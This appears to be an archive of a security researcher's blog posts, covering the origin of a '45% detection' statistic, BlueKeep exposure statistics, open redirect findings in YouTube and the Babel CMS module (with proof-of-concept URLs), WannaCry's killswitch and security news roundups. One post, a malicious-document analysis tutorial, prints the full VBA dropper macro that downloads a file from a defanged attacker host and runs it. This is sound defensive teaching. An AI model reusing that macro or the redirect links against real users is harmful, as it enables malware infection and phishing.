Leaving misunderstanding/misquoting of the original conclusions to one side, even in cases when the conclusions are cited correctly, many seem to gloss over the fact that the research, which resulted in the “45%” result, was limited in scope to only certain types of tools and took place all the way back in 2007 so its results don’t necessarily describe the current state of affairs… But we’re getting ahead of ourselves. First, let’s take a look at where the number actually came from.

OWASP Testing Guide is one of the few places where we may find an attribution (although the reference in OTG should point to [21], not [22]), which leads us to a presentation from BlackHat DC 2007 by a team (Robert A. Martin, Sean Barnum and Steve Christey) from MITRE/Cigital.

Unfortunately, by itself, the slide from the presentation which is cited in OTG doesn’t give us much information. We may deduce from it that 55% of CWEs were found not to be covered by - presumably - some tested or analyzed tools, but that is about it.

Source: MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE

Since the other slides in the presentation don’t give us any more information regarding the presumed 45% detection rate, we need to dig a bit deeper. After a while of Googling, one might find couple of articles from the same authors on MITRE website (one which probably served as a basis for the BlackHat talk and one from CrossTalk magazine), which are both titled the same as the presentation. Neither of them, unfortunately, sheds any light on the issue of detection rate among automated tools.

I have to admit that this was the point, where my Google-Fu failed me as I was unable to find anything more exact with regards to the original research. I was, however, able to find e-mail contacts for all three authors of the original paper/presentation from BlackHat DC 2007 and one of them - Bob Martin - was kind enough to reply to my message and explain what their work was based on. Following paragraphs are contents of the e-mail I received, unedited except for the use of bold font for what I believe are the most important parts.

The source of that statistic is the MITRE CWE Team's compilation of the knowledge-bases from the static analysis tools that provided us with the details of weaknesses so we could build out CWE.

While we don't have a specific list of those who donated content, the list of organization on the CWE Community page is close, if you limit yourself to tool and researcher organizations.

The 2007 Black Hat talk does a pretty good job covering what went into the creation of CWE.

So when we combined all of these different knowledge-sources we found that there was only a very slight intersections between the tools knowledge-bases.

Now a days, the best way to recreate this would be to use the COVERAGE CLAIMS that most of the CWE Compatible tools and services provide.

Examples of Publicly Available CWE Coverage Claims:
----------------------------------------------------------------------
https://www.synopsys.com/content/dam/synopsys/sig-assets/datasheets/coverity-cwe-sanstop25.pdf
https://www.grammatech.com/software-assurance/certifications-compliance/cwe
https://docs.sonarqube.org/latest/user-guide/security-rules/
https://help.veracode.com/reader/DGHxSJy3Gn3gtuSIN2jkRQ/o5xpvFVymSUGcFJ492HXEg
http://docs.klocwork.com/Insight-10.0/CWE_IDs_mapped_to_Klocwork_C_and_C%2B%2B_checkers
http://docs.klocwork.com/Insight-10.0/2011_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
http://docs.klocwork.com/Insight-10.0/2010_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
http://docs.klocwork.com/Insight-10.0/CWE_IDs_mapped_to_Klocwork_Java_checkers
http://docs.klocwork.com/Insight-10.0/2011_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
http://docs.klocwork.com/Insight-10.0/2010_CWE-SANS_Top_25_Most_Dangerous_Software_Errors_mapped_to_Klocwork_checkers
https://access.redhat.com/articles/171613
https://dwheeler.com/flawfinder/flawfinder.pdf
https://vulncat.fortify.com/en/weakness

On the last one, we'd like to get Fortify to offer their coverage indexed by CWE Ids but so far this is what we have from them.

That being said, the statistic we did in 2007 was only for static analysis tools, since at that time they were the only one really documenting the flaws they found and talking about how to fix them.

Similar static analysis studies were done by the Center for Assured Software (CAS) out of NSA. Here's links to their 2010 and 2011 reports:

http://cps-vo.org/file/1152/download/30152
https://samate.nist.gov/docs/CAS_2011_SA_Tool_Method.pdf

On slides 21 & 22 of the first one, and on page 25 of the second one they show the overlap in findings between tools.

Today you'd want to include DAST and Binary analysis, along with any other tool/technique that can uncover weaknesses in software architecture, software design, software code, and the deployment of software into operations.

You would also want include more of the quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate, like reliability, performance, and maintainability, similar to the expansion undergone by CWE itself in January https://cwe.mitre.org/news/index.html#jan032019_CWE_Version_3.2_Now_Available.

Within CWE these are captured in the CWE-1128 view (CISQ Quality Measures (2016)) and the "quality" slice (CWE-1040, Quality Weaknesses with Indirect Security Impacts), which includes not-automatically-detectable quality issues.

CISQ recently published an update to their work which we are still capturing as a CWE view.

Leveraging the CAS work, NIST has been holding Software Assurance Tool Evaluation (SATE) efforts, where NIST is working with the community, both private industry, academia, and government, to get a better handle on what weaknesses tools find and how well they find them. They have annual workshops and share test programs (Juliet).

Finally, tools can not find many architecture or design weakness https://cwe.mitre.org/data/definitions/1008.html. If the development effort using model-based software engineering tools they theoretically can find some of these - which is the focus of a new MBSE Working Group in the Consortium of Information and Security Quality (CISQ).

___

As we may see - among many other information for which I’m very grateful to Bob Martin - the original research only covered static analysis tools (SAST). Even if the research wasn’t as old as it is, this fact alone shows its results should not be interpreted and presented in the way they very often are.

Don’t get me wrong - I don’t claim that tools alone can find every type of vulnerability out there. They can’t - automated scanners and other tools are great at finding certain types of vulnerabilities, but for others, they are either unable to find them at all or don’t come even close to what an experienced penetration tester, analyst or auditor may discover. I don’t even claim that tools are currently capable of finding more than 45% of all vulnerability types - I don’t know whether or not they are and as far as I can tell, no one else does either.

And that is the point - although we might like to have hard numbers to back up why human factor is indispensable when it comes to finding vulnerabilities, citing results of a study from 2007 as current, or using misquoted version of its conclusions in marketing materials in order to convince customers that they really need our experienced pentesters in order to be secure, is something we should try very hard to avoid.

SANS ISC Diary - Phishing e-mail spoofing SPF-enabled domain

Jan Kopriva — Thu, 17 Oct 2019 11:49:25 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at SPF and when even SPF-enabled domains may be spoofed.

ALEF Security Report 2019

Jan Kopriva — Mon, 16 Sep 2019 20:40:35 +0200

Couple of months back, my colleagues and I created a report covering current cyber security situation in the Czech Republic. If you’d like to know, what security services were most in demand during the last couple of years, how large is the percentage of Czech organizations, which conduct phishing tests of their employees, or how STARTTLS adoption is progressing in Czech Republic, you may download it here.

SANS ISC Diary - Tricky LNK points to TrickBot

Jan Kopriva — Tue, 03 Sep 2019 13:06:21 +0200

A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at analyzing a malicious LNK file which leads us to a sample of Trickbot.

SANS ISC Diary - Open Redirect: A Small But Very Common Vulnerability

Jan Kopriva — Wed, 28 Aug 2019 14:27:02 +0200

A Guest Diary of mine was published today on the SANS Internet Storm Center. In this one, I discuss open redirect vulnerabilities and how to find them. If you’ve never heard of open redirects, this might be a useful introductory text.

Where are all the machines affected by BlueKeep hiding - part 2

Jan Kopriva — Sat, 10 Aug 2019 10:11:50 +0200

Last week, we took a look at Shodan results to try to determine which countries are the “richest” in the world when it comes to machines vulnerable to BlueKeep visible from the internet. Since the number of vulnerable machines Shodan detects grows every day (see the following chart), I thought it might be interesting to have another look at the numbers. But in a way which is a little different.

It should be mentioned that the rise in the number of affected machines is most likely due to Shodan scanning previously unscanned IP ranges and not because there are actually more vulnerable machines out there. In fact it is quite probable that a not insignificant percentage of machines shown by Shodan as vulnerable have either been assigned different IP addresses since the detection (and could therefore have even been counted multiple times) of have been patched since the detection. If you’d like to see something closer to an actual “real-time” look at the number of machines which are still vulnerable to BlueKeep and accessible from the internet, Shadowserver will probably be a better place to look then Shodan.
But that doesn’t mean that Shodan can’t still give us something quite interesting in this area.

Since very little has changed in terms of positions of different countries (see the previous post if you are interested who still has the dubious honor of belonging to the “BlueKeep Top 10 Club of Countries” as there were no changes in the first 10 places), I believe it might be more interesting to explore another aspect of the numbers, namely what percentage of machines which are accessible on the usual RDP ports (3388 and 3389) in the different countries are actually vulnerable. I quite like the idea since it could give us at least some idea of how large a percentage of all affected machines are potentially still unpatched in the countries in question.

It is true that machines directly accessible from the internet are not the best sample for “all the machines out there”, however some lose correlation between patch levels of servers accessible from the internet and patch levels of all the other machines certainly exists. One could even realistically expect that servers directly connected to the internet should be patched more often than other servers/machines so using what Shodan sees as a sample isn’t that inappropriate.
Although, since we’re listing weaknesses of this approach, we should mention that we’re completely skipping over identifying operating systems of machines behind the RDP ports and we’re counting anything with any service accessible on 3388 or 3389 as either vulnerable or patched. I.e. the following results are interesting but take them with a grain of salt.

Based on Shodan detections, of the 30 countries with highest numbers of affected machines, Hong Kong, South Korea, Argentina, China and Ukraine seem to be worse off when it comes to the percentages of machines with open RDP ports that are vulnerable to BlueKeep.
I’ve left the chart ordered by number of detected vulnerable machines in different countries so you can draw your own conclusions. The percentages themselves are in a table at the end of the post.
What seems most interesting is that although the US is second overall in the number of vulnerable machines detected (over 109k machines on the day of writing), it appears that the local patching culture is much better than in the rest of the “Top 30” BlueKeep countries as this number represents less than 3.7% of all systems with open RDP ports in the US.
This well illustrates the fact number of vulnerable systems in a certain country often doesn’t give us the whole story…

Position	Country	Vulnerable machines	Percentage of vulnerable machines
1	China	355449	24.34%
2	United States	109011	3.67%
3	South Korea	32300	29.07%
4	Brazil	29137	19.66%
5	Russian Federation	28432	20.12%
6	Hong Kong	25015	30.67%
7	Germany	13971	6.58%
8	Taiwan	13394	22.36%
9	Japan	12444	10.15%
10	United Kingdom	11691	8.75%
11	France	10413	7.74%
12	Canada	10086	9.78%
13	Italy	9585	16.99%
14	Spain	9428	17.13%
15	India	7732	11.00%
16	Mexico	7361	16.50%
17	Netherlands	6941	4.48%
18	Argentina	6826	27.86%
19	Ukraine	6516	22.41%
20	Australia	5555	8.69%
21	Viet Nam	5455	13.07%
22	Singapore	5226	6.45%
23	Turkey	4915	10.92%
24	Thailand	4522	15.52%
25	Poland	4241	14.01%
26	South Africa	4175	13.95%
27	Colombia	2962	14.59%
28	Czech Republic	2890	10.40%
29	Iran	2822	14.14%
30	Malaysia	2725	17.82%

SANS ISC Diary - The good, the bad and the non-functional

Jan Kopriva — Thu, 08 Aug 2019 21:31:08 +0200

A Guest Diary of mine was published today on the SANS Internet Storm Center. If you’ve wondered how do the less usual cyber attacks look, it might be worth a read…

Where are all the machines affected by BlueKeep hiding?

Jan Kopriva — Thu, 01 Aug 2019 11:23:55 +0200

EDIT 8/5/2019: Wrong CVE - CVE-2019-0709 was mentioned instead of CVE-2019-0708…

We’ve all read about the hundereds of thousands of machines affected by BlueKeep connected to the internet, but where are they hiding? With the help of Shodan, we can try to figure it out.

At the time of writing, Shodan returns 667243 results for CVE-2019-0708. In the leading place is China with 291686 results, followed by United States (88625 results), Korea (26578 results), Brazil (23756 results) and Russia (22682).

Top 49 countries are each the home of more than 1000 vulnerable servers (the Czech Republic has 2327 results and is in 29th place) and each of the top 97 countries has at least 100 detections.

For those of you who would like to take a look at all the countries (though it is possible I missed some of them) where there was at least one vulnerable machine, you may take a look at the following chart.

Half-open redirect vulnerability in Youtube

Jan Kopriva — Mon, 22 Jul 2019 19:33:43 +0200

If you open any Youtube video, which has in its description a link to an external URL, you may notice that the link points to a Youtube redirection mechanism (https://www.youtube.com/redirect?…), with the target URL being passed to it as a parameter, rather than to the target URL itself. In such a case, the link has the following structure:

https://www.youtube.com/redirect?q=[target_URL]&redir_token=[token]&event=video_description&v=[video_ID]

Since there is a redir_token parameter in the URL, one might assume that the redirect mechanism isn’t open, i.e. that can’t be used for redirection to an arbitrary URL. One would, however, be only half-right.

The value of the token seems to be connected with the current Youtube session (though there isn’t any obvious corelation between values of relevant cookies and the token). And while parameters event and v are optional, if you try to use the redirection mechanism without the redir_token parameter - or with an invalid value of this parameter - you will be greeted with the following message:

You may try this out for yourself yourself using this link. So far everything seems to be in order.

A problem - if only a small one - however, starts to become obvious when we try to use a valid token along with another URL (i.e. we copy a valid link, perhaps delete the optional parameters, and change the value of the parameter q). In this case, a browser will indeed be redirected (using HTTP code 303) to the new URL, because the tokens are in no way dependent on the value of q.

This means that if you can get a valid redirect link from a user, who has an active Youtube session established, you could modify it in such a way, that - if this user opened it - it would redirect his/her browser to the URL of your choice. As the tokens seem to last (although I tried to determine the maximum age for a token on only one ocasion so don’t quote me on it) for approximately 24 hours, one could hypotetically use this (it should probably be called “partially-missing input validation”, but “half-open redirect” will do) vulnerability in a real world scenario. Although it is almost completely useless for malicious phishing campaigns, it could be used quite effectively against - for example - one’s coleagues and/or friends (e.g. “Jack, could you please send me the link under this video? Thank you. Now, here is a link to a video you’re going to love…"). Plus, it might be a good example of dangers of clicking on seemingly safe links in e-mail for any security awareness classes out there.

Since Google replied to me that they don’t intend to fix this small vulnerability and don’t mind if I publish it, use it (ethically, please) as you see fit.

It should be added that there seems to be some regularity to the values of tokens being generated (e.g. when a site is refreshed), but at first glance there doesn’t seem to be any obvious way to use this regularity to craft valid tokens, although I didn’t spend much time on verifying that.

Analysis of an encrypted malicious DOC file and an (un)interesting phishing

Jan Kopriva — Sun, 05 May 2019 18:02:46 +0200

Couple of days ago, I found a pretty usual-looking phishing e-mail in one of the quarantine folders of my inbox. It was addressed to me and to 19 other security specialists and incident response teams and contained a text (in German - see bellow), informing us that the author saw a job offer to which she was responding with an application document attached to the e-mail. The attachment appeared to be an encrypted DOC file and the password (“123123”) was mentioned in the body of the message.

Sehr geehrte Damen und Herren,

über die Webseite der Bundesagentur für Arbeit habe ich von Ihrem Stellenangebot erfahren.
Aufgrund meiner langjährigen Berufserfahrung und die kontinuierliche, selbständige Weiterbildung bin ich mir sich, die mit der herausfordernden Stelle verbundenen Anforderungen zu Ihrer Zufriedenheit erfüllen zu können.

Meine Bewerbungsunterlagen habe ich an diese E-Mail angehängt. Passwort: 123123

Ich verfolge das Ziel, alle meine Fertigkeiten gewinnbringend in Ihrem Unternehmen einzusetzenDarüber hinaus strebe ich eine kontinuierliche Weiterentwicklung an, um auch zukünftige Anforderungen an diese Stelle erfüllen zu können.

Gerne stehe ich Ihnen für weitere Fragen zur Verfügung. Auf eine persönliches Vorstellungsgespräch, in welchem ich Sie gerne von meinen fachlichen Kenntnissen sowie meiner Motivation überzeuge, freue ich mich.

Ich verbleibe mit freundlichen Grüßen

Even though pretty much the only unussual thing about the e-mail were the recipients, I’ve decided to do a short writeup on it since I’ve often seen junior (although not only) analysts struggle with analyzing potetially malicious Office files and I believe that this might be a good case to learn at least some basics on. So if you’ve never done “maldoc analysis” and want to know the basics, consider this a quick-and-dirty tutorial to get you up to speed.

You may download the document in question here (password is “infected”) and follow along, if you’d like.

To my mind, the best tool - or rather a collection of tools - for analyzing Office documents and PDFs (among other file types) and determining whether or not they’re malicious is the Didier Stevens Suite (DSS). The tool from this suite which can help us the most when it comes to analyzing “old style” Office documents (DOC, XLS and some other file types) is OLEdump. Use of the tool is quite straightforward and it can provide us with lots of analytical information about a potentially malicious file. If we run it against the document without any additional parameters, it will give us some basic information about internal structure of the file.

In this case, it seems that the files contents are indeed encrypted, but this isn’t quite what one would expect to see when analyzing a “normal” password-protected DOC file as the internal file structure displayed doesn’t look right.

When analyzing a Word document of the “old DOC” variety (OLE Binary Compound File), OLEdump should give us an output showing a file structure at least somewhat similar to the following examples. First file is a normal document, second file is a password-protected document and the third is a password-protected document containing macros.

What we have here is actually a “new type” Word file with enabled encryption (since in cases when encryption is enabled on a DOCX file, it is saved as an OLE compound file) and modified extension. Attackers quite often change extensions of DOCM files to DOC, since Word will open (and correctly interpret) a DOCX/DOCM document with a DOC extension and most users seem to be less affraid to open a DOC than a DOCM, which obviously contains macros.

Although OLEdump is a fairly versatile tool, it can’t natively handle decryption of DOCX files, even though they are in the OLE CF format. It can, however, tell us what kind of encryption is used to secure the contents of the file (as there are several possibilities - if you’d like to know more, you may refer to the relevant Microsoft documentation) which will help us to choose the best tool for decryption. As Didier Stevens - author of DSS - mentions on his own blog, there is a plugin called “plugin_office_crypto” which can help us with determining the encryption used. With its help (using the option -p), we can see that in this case Agile Encryption is employed.

One of the first results Google returns (at the time of writing), if you ask it how to decrypt Agile Encryption, is a link to a GitHub page for msoffcrypto-tool, a “Python tool and library for decrypting MS Office files with passwords or other keys”. As it is also a tool I can recommend, since it’s helped me couple of times in the past, it will be the one we use for decrypting our malicious document.

As we can see, the decryption was successful. If we use TrID or a similar tool, we will learn that our document is indeed a DOCM file. Although modern Word documents are basically ZIP files containing XMLs, any macros they contain are still saved in OLE CF format, which means we can still use OLEdump to analyze our file. All we need to do is have a look at the macros in A3 to A6 and OLEdump option -v will help us with that. You may find the entire source code bellow and as it is not obfuscated in any way, I don’t believe it requires much in the way of an explanation. Perhaps the only thing to add is that details for the word88.foc file - which the macro tries to download - may be found here.

A6: VBA/ThisDocument

Private Sub Document_Open()
    Dim var1 As Integer
    var1 = 1234
    If var1 = 1234 Then
        noutil
    End If
End Sub

A3: VBA/Module1

Sub noutil()
    Dim url As Variant
    url = Array(getUrl)
    Dim savePath As String
    savePath = Environ("temp") & "\tryui." & "jmp"
    If IsArray(url) = True Then
        SaveFile url(0), savePath, False, True
        runNagr savePath
    End If
End Sub

A4: VBA/Module2

Function getUrl() As String
    If IsArray(var) = False Then
        getUrl = "hxxp://infogiceleredalog.info/word88.foc"
    End If
End Function

A5: VBA/Module3

#If VBA7 Then Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long #Else Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" (ByVal pCaller As Long, _ ByVal szURL As String, ByVal szFileName As String, _ ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long #End If Sub runNagr(var1 As String) Shell var1 End Sub

Public Sub SaveFile(Param1, Param2, Param3, Param4)
If Param4 = True Then
URLDownloadToFile 0, Param1, Param2, 0, 0
End If
End Sub

How big of a problem is the 'open redirect' in Babel?

Jan Kopriva — Sat, 02 Mar 2019 12:35:00 +0100

During a recent research into prevalence of open redirection vulnerabilities within the ccTLD .CZ we’ve done with my colleagues from ALEF CSIRT (description of its results in Czech may be foud here), I’ve noticed that many of the vulnerable sites seemed to be using CMS Made Simple with Babel multi-language module. This seemed to warrant a closer investigation…

Before we go further, let’s briefly describe what „open redirection“ (CWE-601) weakness/vulnerability actually is. The term is usually used to describe a mechanism which – when present on a certain website and queried in a specific way (usually by passing a specific parameter to it) - automatically redirects visiting browser to a different (arbitrary) domain/URL. What this means in practical terms is that it is possible to create a link to the website in question, which redirects user to any other - pontentially malicious or untrusted - site.
This behaviour might be intentionally present on certain websites, but in most cases, it is considered a vulnerability and/or bad practice since may be quite easily misused. Imagine, for example, how easy it would be to create a successful phishing campaign targeting clients of a bank which has open redirection vulnerability on its website.

An example of a site with intentional open redirection functionality, which will enable us to demonstrate the principle in practice, is 1gr.cz – a logger which counts clickthroughs for ad and marketing purposes. A link to 1gr.cz which automatically redirects visitors to untrustednetwork.net could be crafted in the following way:

http://1gr.cz/log/redir.aspx?url=https://www.untrustednetwork.net/

Now, let us dive right into the interesting details regarding CMS Made Simple and Bable.
CMS Made Simple (CMSMS) is one of the lesser known CMS platforms out there. Although it is not too widely used, vulnerabilities in the CMSMS core or in its plugins or modules may still affect thousands of websites. This appears to be the case with the vulnerability I found in Babel – a module which brings multilingual functionality to CMSMS sites.
The full write up of the vulnerability may be found here, but in simple terms, Babel in all its versions translates content by redirecting user to different pages based on their language preferences. This is not a bad idea per se, however in Babel, the same mechanism enables anyone to create a link to the CMSMS-enabled site, which redirects to an arbitrary URL.
Babel – when installed – uses the path domain.root/modules/babel to hold all its PHP files. Among these is redirect.php, a file containing PHP script through which the translation is handled. The relevant code looks like this:

if(!isset($_GET["newurl"]) ){
	/*code not important for our purposes removed here*/
}else{
	/*code not important for our purposes removed here*/
	header("location: ".$_GET["newurl"]);
}

What it basically means is that if the “newurl” parameter is set, browser will be redirected to the URL contained therein. Since there are no checks or limits regarding the target URL, the fact that there is an “open” redirection vulnerability should be obvious.

So how big of a problem is this vulnerability? Well, not too big. As has been said before, open redirection is mainly useful for phishing and not that many sites interesting to phishers use the Babel module… But with approximately 3.700 URLs affected before the disclosure was published it is not insignificant either. That number is based on relevant Google search results (so take it with a grain of salt - in terms of affected sites, it was probably a lot less…although the latest version of the vulnerable module was downloaded from the CMS website more than 5.700 times, so who knows) from February 14th 2019.

I was interested in the distribution of vulnerable sites/URLs around different TLDs, so I’ve done a search for each of the 20 most used TLDs and a serach for each of the ccTLDs of European countries. The “Top 10” results are:

TLD	Count
========	========
COM	1590
BE	448
FR	408
NL	227
PT	226
CH	207
DE	142
CZ	96
LV	78
AT	46

That covers most of what seems to be out there, but if you want to see the results for all top level domains with at least one relevant search result, they are summarized in the following chart.

As you may see, a number of the vulnerable websites are hosted on domains within ccTLDs belonging to different European countries. What’s more, based on a quick look at the .COM results, it seems that most of those domains are also registered by European citizens and companies. I’m not sure whether CMSMS as a whole or just Babel have mostly Euro-centric user base, but this regional disparity seemes quite interesting either way.

Open Redirection Vulnerability in Babel

Jan Kopriva — Wed, 20 Feb 2019 20:36:35 +0100

Bellow you may find description of a vulnerability I found in Babel - a CMSMS module - when searching for sites affected by Open Redirection vulnerabilities (writeup on the research in Czech may be found here). Further discussion of this vulnerability be found here.

Basic Information

Affected Software: Babel: Multilingual Site module for CMS Made Simple
Affected Version: 0.4.1 and earlier
Patched Version: None - project is no longer under development
CVE Identifier: CVE-2019-1010290
Vulnerability type: CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’)
Severity Rating: CVSS v3 Base Score: 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Summary

The Babel multi-language module for CMSMS contains an open redirection vulnerability in a script within the redirect.php file. The script takes an argument specifying a URL to which a browser should be redirected. This URL may be completely arbitrary. It is therefore possible to craft a link to a Babel-enabled site which causes redirection to any URL specified, even outside the originating domain. This is especially useful for phishing attacks, when attacker creates a link to a safe site, which, without the knowledge of a user, redirects him or her to a fake/malicious site. All CMSMS sites with Babel module installed are affected, since redirect.php is always publically accessible.

Detailed Description

The Babel module provides CMSMS sites with the capacity to easily switch between multiple translations of web page content. Desired translation may be chosen by sending a GET request to vulnerable.site/modules/babel/redirect.php. Under normal conditions, this PHP script takes two arguments - “newlang” and “newurl”. The first argument sets the desired language for the translation and the second one sets URL which should be displayed in selected language.
A non-working example of what the URL might look like is:

https://www.vulnerable.site/modules/babel/redirect.php?newlang=en_US&newurl=https://www.vulnerable.site/about

The vulnerability is caused by the absence of any filtering when the parameter “newurl” is processed (the parametr “newlang” is - for our purposes - optional and may be omitted).

Proof of Concept

https://www.vulnerable.site/modules/babel/redirect.php?newurl=https://www.malicious.site/

Recommendation

Removal of the Babel module from any affected site.

Disclosure Timeline

Developer Contacted: 2. 2. 2019
Developer Responded: 11. 2. 2019 (project abandoned, no new versions are to be expected)
Disclosure to CSIRT network: 14. 2. 2019
Public Disclosure: 20. 2. 2019

It's 2019 and WannaCry is still not dead

Jan Kopriva — Wed, 30 Jan 2019 17:20:48 +0100

Unless you live completely cut off from the rest of human civilization, chances are good you’ve heard about the WannaCry ransomware. However, so we’re all on the same page, I’ll go over the salient points of its history before discussing why it is still a threat.

WannaCry - the first successful crypto-ransomware worm - started to spread on May 12th 2017 using the EternalBlue exploit and DoublePulsar backdoor implant (both courtesy of the Shadow Brokers and - by proxy - Equation Group/NSA) and supposedly hit more than 100 countries within the first 24 hours. Although the speed of spreading was nowhere near the famous SQL Slammer/Saphire/Helkern or even CodeRed levels, it was still quite impressive.

As it is usually the case when a new malware starts to succesfully spread, many researchers started analyzing samples of it. Among these researchers was also the controversial Markus Hutchins, who noticed that the malware used tried to query an at-that-time non-existant domain to decide if it should encrypt data and spread further when it infected any new computer.
Basically, it tried to connect to the www[.]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com domain and if it succeeded, it didn’t encrypt any data nor did it spread further.

If fact, except for connecting to this domain on reboot to make sure it was there, the ransomware didn’t do much of anything from that point onward. It is unknown why this functionality was implemented in WannaCry (although there are a lot of theories - the two most popular ones considers it either an anti-sandboxing mechanism, or an intentional killswitch to stop the infection should the attacker wish it). However when Hutchins noticed this behaviour, he registered this domain and “sinkholed” it, which pretty much stopped WannaCry from spreading…until another version without this “killswitch” functionality was released, that is.

Although the number of infected computers was in the hundreds of thousands at least (see the chart bellow - especially the situation in China seems to have been quite interesitng), the outbreak was more or less dealt with within few weeks. Computers spreading WannaCry were disinfected, admins who didn’t do so before patched the vulnerability used by EternalBlue exploit and pretty much everyone considered WannaCry dealt with.

Source: [Bleeping Computer](https://www.bleepingcomputer.com/news/security/new-data-shows-most-wannacry-victims-are-from-china-not-russia/)

That however seems to be very far from the true state of affairs. Jamie Hankins from KryptosLogic (company which currently takes care of the killswitch domain) published couple of interesting charts based on monitoring of the killswitch in December. As these charts and other information from Hankins show, quite a large number of computers still try to connect to the killswitch domain every day. From the first chart bellow, you may see that during working hours on weekdays, there are between 500,000 and 600,000 requests detected every 3 hours. This indicates that there are still at least tens of thousands of computers infected by the original version of WannaCry. This is both unexpected and quite scary.

Source: [Jamie Hankins](https://twitter.com/2sec4u/status/1076151355759308800)

Since the killswitch domain works as it should, the ransomware doesn’t do anything malicious at the moment. But should the domain go down or be unaccesible for some reason, WannaCry on the infected computers would “wake up” again and continue with its normal operations, which would undoubtedly cause major problems to all affected subjects.

On the second chart bellow, you may see that most of the infected machines seem to be in Asia, however that doesn’t mean there are no infections still active in other regions.

Source: [Jamie Hankins](https://twitter.com/2sec4u/status/1076151355759308800)

So this is where we are now - we know WannaCry is still with us and still presents a potential threat. What can we do? It’s actually fairly simple. If you don’t have any security devices monitoring DNS and web traffic in place, try going through DNS logs for your infrastructure and try to find any lookups for the WannaCry killswitch domain. You probably won’t, but it’s better to be safe then sorry.

An if you still haven’t applied the MS17-010 update, well… in such a case WannaCry might not be your biggest concern, but it’d still recommend you apply the patch. After all, it’s better to do so more than 18 months late than never.

Miscelaneous tools and links

Jan Kopriva — Tue, 08 Jan 2019 08:19:11 +0100

I’ve added a new page to the site with links to miscelaneous tools and materials useful for Incident Response, Malware Analysis, Penetration Testing, etc. It may be accessed here or through the easily remembered URL http://csirt.xyz.

It's alive (again) !

Jan Kopriva — Thu, 27 Dec 2018 12:09:22 +0100

Untrusted Network is back! I’ve managed to salvage most of the posts from old version of the site so you may find links to those on the main page. So far that’s the only content but you may look forward to new posts in 2019!

In the mean time, to post at least something new for 2018, here you may find my presentation from this years DefCamp conference about interesting Open Directories which ALEF CSIRT found in the .CZ and .SK ccTLDs.

ALEF Hacker Challenge

Jan Kopriva — Tue, 15 Mar 2016 20:35:41 +0100

ALEF NULA (in the interest of full disclosure, I’d like to mention that I am currently employed by AN) launched a new competition called ALEF Hacker Challenge last week. The intended aim is to compromise a specific system and gather data from it. Although not unique, it is an interesting competition and not only because the main price is 12 000 CZK.

Looking back at October 2015

Jan Kopriva — Wed, 11 Nov 2015 21:14:53 +0100

October was named European Month of Cyber Security and because of that, many events intended to raise cyber security awareness (such as Security Fest in Prague) were held during the 30 day period. Unfortunately, October has seen just as many new developments on the proverbial “dark side” of cyber security.
One of these was a widely followed theft of personal data (including credit card numbers) of up to four milion customers of a British telecommunication service provider TalkTalk. Russian hacker group has claimed responsibility for the attack, however the end of the month has seen arrest of a small number of young men in Great Britain in connection with the theft.
The Stagefright vulnerability in the Android operating system has seen a new development with the discovery of a new vulnerability dubbed Stagefright 2.0. The vulnerability is due to a fault in a code used for accessing multimedia files and enables a potential attacker to execute arbitrary code on the affected device. According to some sources, the vulnerability might affect up to one bilion devices. Google has already published a patch for Stagefright 2.0, however since an update can not be provided for all Android-based devices, the vulnerability might provide to be an interesting vector of attack in the future.
A good final topic for “Looking back” dedicated to European Cyber Security Month might be the discovery of a new “malware” named Linux.Wifatch. It spreads by usual network vectors to vulnerable devices running Linux operating system and changes their configuration in a way which makes them harder for other malware to attack. The interesting point is that Wifatch performed no malicious actions on infected devices, as is documented by an interview with its authors.

Looking back at September 2015

Jan Kopriva — Sun, 18 Oct 2015 16:13:47 +0100

Information concerning number of devices vulnerable to Heartbleed vulnerability has appeared in the news during September. Given that the existence of Heartbleed was made public almost a year and a half ago it may be surprising that the number of vulnerable devices exceeds 200.000.
Affair concerning the Stagefright vulnerability (which was mentioned in the last Looking back) continued in September when Zimperium – the company which discovered Stagefright – released a proof-of-concept code which exploits the vulnerability.
A stealth malware hidden in modified Cisco IOS images and named SYNful knock has been discovered on tens of Cisco routers around the world. The malware functions as a backdoor and besides the (persistent) IOS-embedded main component uses tens of modules which provide further functionality which it loads into volatile memory.
It should be mentioned that Google, Microsoft and Mozzila made a press release announcing that their browsers will stop supporting the RC4 encryption algorithm early next year.
One final piece of interesting news we will mention has been the discovery of a malware targeted at online poker players. The trojan horse is named Odlanor and captures screenshots of applications used for playing poker online and then sends them to the attacker.

Looking back at August 2015

Jan Kopriva — Tue, 08 Sep 2015 17:06:42 +0100

One of the most important information related to cyber security pertains to August release of a patch for the Stagefright vulnerability, to which almost all versions of the Android OS from versions 2.2 to version 5.1 are vulnerable. The existence of Stagefright had been made public at the end of July and it is estimated that vulnerable device number in hundreds of millions. The vulnerability enables the attacker to cause arbitrary code execution by sending a specially crafted MMS. The released patch has unfortunately been shown to be incomplete, the result of which is that even updated devices are still vulnerable.
Another interesting vulnerability which also affects a mobile platform (in this case iOS) is called Ins0mnia. The vulnerability enables malicious applications to circumvent OS security controls and run in the background without users knowledge (and – for example – collect sensitive information). Ins0mnia affects even non-jailbroken devices and has been patched in the iOS 8.4.1 update.
One further August news story has been connected to Apple products – creation of the Thunderstrike 2.0 proof-of-concept worm which is able to infect firmware of Macs. Given the location of infected memory, it is highly problematic to detect the infection from the OS and removal of the worm requires firmware to be re-flashed.
Another newly discovered (however 18 years old) attack vector also exploits vulnerability connected to computer hardware. A vulnerability in Intel x86 processors enables an attacker to install rootkit into memory location used by SMM (System Management Mode – a privileged mode used outside of normal OS execution).
